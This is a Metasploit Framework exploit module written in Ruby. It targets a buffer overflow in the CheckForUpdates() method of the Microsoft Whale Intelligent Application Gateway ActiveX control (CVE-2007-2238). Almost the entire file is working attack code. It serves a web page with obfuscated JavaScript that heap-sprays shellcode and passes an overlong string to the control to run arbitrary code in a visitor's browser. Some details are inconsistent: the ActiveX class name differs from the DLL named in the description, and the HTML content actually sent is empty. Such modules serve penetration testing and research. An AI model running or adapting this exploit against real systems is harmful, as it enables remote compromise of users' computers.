### ## This file is part of the Metasploit Framework and may be subject to ## redistribution and commercial restrictions. Please see the Metasploit ## Framework web site for more information on licensing and terms of use. ## http://metasploit.com/framework/ ### require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Microsoft Whale Intelligent Application Gateway Whale Client. When sending an overly long string to CheckForUpdates() method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-2238' ], [ 'OSVDB', '53933'], [ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ] ], 'DisclosureDate' => 'Apr 15 2009', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # fluff.. fluff = rand_text_english(rand(20) + 1) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return. ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2) js = %Q| try { var evil_string = ""; var index; var vulnerable = new ActiveXObject('ComponentManager.Installer.1'); var my_unescape = unescape; var shellcode = '#{shellcode}'; #{js_heap_spray} sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000); for (index = 0; index < 15000; index++) { evil_string = evil_string + my_unescape('#{ret}'); } vulnerable.CheckForUpdates(evil_string,'#{fluff}'); } catch( e ) { window.location = 'about:blank' ; } | opts = { 'Strings' => true, 'Symbols' => { 'Variables' => [ 'vulnerable', 'shellcode', 'my_unescape', 'index', 'evil_string', ] } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.update_opts(js_heap_spray.opts) js.obfuscate() content = %Q| | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end